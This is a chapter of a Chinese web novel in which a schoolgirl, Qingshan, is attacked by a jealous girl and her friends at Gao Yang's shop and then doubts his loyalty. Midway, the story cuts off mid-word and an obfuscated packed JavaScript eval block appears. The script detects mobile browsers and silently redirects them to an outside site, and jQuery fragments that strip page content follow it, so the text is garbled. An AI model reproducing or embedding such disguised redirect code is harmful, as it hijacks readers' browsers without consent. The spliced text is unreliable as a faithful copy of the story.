16. 姐夫

作品:《她无法忍受

    第二天一早青山准备出门时孟琳还没起来,没事的时候她向来是要睡懒觉的,青山没有多想,换了鞋要去上学。


    忽地,她拿鞋的动作一顿,目光定定地在那双明显不属于女人的大上好几码的黑色运动鞋上。


    “嗯?”


    她想起昨天男人强横地把孟琳抱走,应该也是他把孟琳送回了家,难道没走吗?这么小的房子藏不了人,唯一的可能就是男人现在还在孟琳房间里。


    青山蓦地瞪大了双眼,她好像发现了什么不得了的秘密。


    她手忙脚乱地把鞋子塞回去,年久失修的柜门在碰撞下发出刺耳的吱呀声,在寂静的空气中划开一道口子。


    青山呼吸滞了一瞬,这下是半点动静也不敢发出了,她不禁懊悔自己昨天傻不愣登地去敲孟琳的门,简直是蠢得要死,她猫着腰开了门,做贼似的出去了。


    屋里孟琳和贺川早就醒了,贺川不满地在孟琳身上哼了几声,问:“你妹妹什么时候走?我想撒尿。”


    “滚!”孟琳低低斥了声,昨天喝的多了,一时没把持住把人给带回了家,两人都滚到床上去了她才想起青山还没回来,只是那时懊悔也来不及了,更何况正上头呢,也刹不住车。


    还好房子隔音差,孟琳耳尖地听到门口传来窸窸窣窣的响动,知道青山已经走了,她踹了一脚身上赖着不动的男人,“赶紧滚,把自己的东西收拾好,别让我妹看见。”


    贺川嗤笑了声,光着膀子下床,捡起地上的衣服往头上套,“咱俩不是正经男女朋友吗,现在怎么整得跟偷/情一样?”


    “你好意思说?两个女人的家你一个男人总是进进出出的算怎么回事?以后不许过夜。”


    “行,知道了。”贺川不痛不痒应了声,起身离开了。


    等人摔上门,孟琳也起身下床,昨天崴去的脚结结实实踏在地板上,没有半分不适。


    自从青山知道孟琳和贺川的事儿之后,她就不大爱回家了,每天放学了就去小超市找高扬,然后再由高扬领着去他家,往往到半夜才会回自己家。


    事情发生得突然,她甚至还没来得及消化就骤然将其撞破,青山不知道要如何面对孟琳,虽然她可以装作什么都不知道,但显然她的演技并没有那么好。


    她怕又一次回去突然撞破,每次都要站在门口做很久的心理准备才敢开门,并不是他们妨碍到了她,而是她怕自己会给孟琳带来麻烦。


    那点小小的隐秘的愧疚被她隐藏得很好,连孟琳也没有发现,只以为她是去找高扬补课。


    好在高扬是真有两把刷子,讲题的思路比老师清晰明白,抓了这么些天,青山的成绩也算有了米粒大点的提升。


    青山独自坐在店里刷题,高扬出去送货了,最近小超市生意还不错,高扬手头也宽裕了点,给奶奶买了件新衣服,也给青山换了双带绒的新鞋。


    今天是周末,青山不住校,她有一整天的时间可以浪费在高扬这间小超市里,窗外浮光跃动,细碎的尘埃在光影中流动,一圈又一圈,窗台上不知何时跑上来只小狸花,娇娇地冲她叫。


    青山伸手大着胆子去碰他的小鼻子,是湿润又温暖的,微小的呼吸喷洒在她指尖,青山动了动手指,小狸花得寸进尺,歪着身子将头放在她掌心蹭,冬天小狸花长了许多绒毛,软软的也不扎,像一片初生的蒲公英般柔软。


    面前忽得笼罩下一片黑影,小狸花嘤叫了一声跑走,青山抬头,几个神情嚣张的女孩儿居高临下站在窗前,双臂环胸看着她,领头的那个甚至染着不伦不类的黄色头发。


    青山问:“有什么需要的吗?可以进来看看。”


    “呵……”黄头发的女孩嗤笑一声,踩着高筒靴昂首迈了进来,趾高气扬地问,“就是你抢了我姐的男朋友?”


    身后两个女孩如同护卫一半站在那个女孩的身后,看打扮是高扬嘱咐过的不要去招惹的那群人。


    青山愣愣站起来,“我……我不认识你,也不知道你在说什么。”


    “你不知道?”女孩上半身贴近她,留着长长指甲的手指在青山发梢绕了几圈,忽地收紧力道拽着她的头发逼迫她向自己贴近,“那你怎么在我姐夫店里?我看你好几天了,你够不要脸的啊,才几岁就学会勾男人了?”


    青山被扯得头皮一痛,眼中生理泪水条件反射般涌出来,这明明就是高扬的店,怎么会是她姐夫的店?青山不是泥人捏的,她只是把脾气都藏起来,可没道理人家都这么对她了,她还要一味忍让。


    青山咬着牙,反手把她披散的长发攥住,在手上绕了几圈紧紧握着不撒手,那个女孩痛呼一声,被迫撒开了手。


    身后两个女孩见青山动手,立马拥上来帮忙,青山一人难敌六手,头皮被扯得生疼,脸上也被锋利的指甲挠出了几道血痕,但她没有放手,手里死死攥着对方的头发,她们一打她,青山就条件反射地伸手护着自己,一护着自己,手里的头发就得被拽过来,女孩尖叫着去抠青山的手,但头发牢牢在她手上绑死,要拿下来何其容易。


    青山趁乱还了几下手,也不知打到了谁,反正逮谁打谁,她的力气不算大,但好歹也是从小干活,暗戳戳给她们几下还是绰绰有余的。


    打得正酣间,高扬走了进来,见几人扭打在一起,还来不及看清是什么情况,便赶紧上前把青山护在怀里。


    青山见高扬来便收了手,可怜巴巴缩着身子任她们殴打,在高扬看来,青山根本连还手的力气都没有。他捧着青山的脸紧张地看了半晌,几个女孩子下手没轻没重的,专往人脸上挠,青山头发乱蓬蓬的像个小疯子,脸上掺了泪痕和血道,可怜得不像话。


    高扬眼里黑墨翻涌,呼吸都重了几分,他抬手轻柔抚去青山脸上的泪水,低哄道:“不哭。”


    他将人揽到身后,这才抬眼去看对面的人,“许夏,你到底要干什么?你知不知道打人是犯法的?”


    许


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889069|192152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夏其实也不比青山好到哪里去,青山下手黑,专挑犄角旮旯里打,这种伤也就只有自己才能看到,她捂着腹部不甘地叫嚣:“高扬哥你凭什么帮她?我也受伤了啊,我也被打了,你眼里只有她吗?”


    她说这话很没有信服力,毕竟她看上去毫发无伤,也就只有头发稍微凌乱些,青山躲在高扬身后,心虚地将手背在身后,手里还攥着一大把浅黄的头发。


    “我自己有眼睛会看。”高扬不为所动,“许夏,你作威作福够了吧?平时我不和你计较,你现在真是越来越过分了,我身边的人你也敢动,你真以为我不打女的?”


    许夏也气急了,一双眼通红,但她化着烟熏妆,黑色全包眼线厚厚一坨黏在脸上,又显得滑稽,她不明白,高扬难道不应该客客气气地对她道歉吗,他有求于她们家,就应该低三下气好好哄着她,现在这么硬气做什么,显得他有骨头吗。


    一股无名火倏地冒气,她发了疯地大喊:“高扬,你是我姐的男朋友,她去念大学了你就该老实等着她!这个小贱人是哪儿来的,是不是你的姘头?你信不信我现在就去告诉我姐!”


    “你胡说八道什么!”高扬怒斥她,一双眸子阴沉得能滴出墨来,手臂青筋隆起,瞧着像是要打人,却硬生生忍下了脾气,“你滚不滚,不滚我送你们滚!”


    她们走了,青山低着头愣在原地,青灰的地面变得有些模糊,朦朦胧胧罩了一层雾,她看着自己的鞋尖不说话,纯白色的鞋面不染尘埃,是被仔细擦拭过的,毫无预兆的,一颗水珠落在鞋面上,顺着弧度滑下去砸在地上,青山窒息地想,屋里怎么会下雨呢。


    高扬把小超市的门关上,又赶紧折回来看青山,把她浑身上下打量了一番,目光触到她通红的眼眶时又变得急切:“青山,哪里疼?是不是很疼,咱们现在去医院好吗?”


    可是青山不说话,任凭他怎么询问青山都不说话,青山也不知道自己怎么了,高扬十九岁了,谈对象是很正常的事情,甚至在她老家,十九岁都该生孩子了,可是为什么呢,为什么她会这么心痛,像有人拿斧子把心劈成了两半,一般在烈火里煎煮,一半在冰水里凝结。


    她听见自己问:“那个人说得是真的吗?”


    “什么?”


    青山问的声音很小,也许高扬是没听清。


    她闭了闭眼,强迫自己又问了一次,“她说的是真的吗?你有女朋友了?”


    青山在某些时候很执拗,她妈总骂她死心眼儿,她自己也承认,她确实轴得有些愚蠢,可此时此刻,青山就是想知道答案,想听到高扬亲口说出的答案。


    高扬翕动了一下嘴唇,他也许还没有想好要怎么解释,只是无措地说:“青山,不是你想的那样的,我跟她们家是有些来往,可是和她姐姐,还有她,我和她们两个绝对没有任何关系,你不要相信好吗?”


    也许是错觉,也许是她疯了,青山竟然觉得,高扬语气里带了些哀求的意味。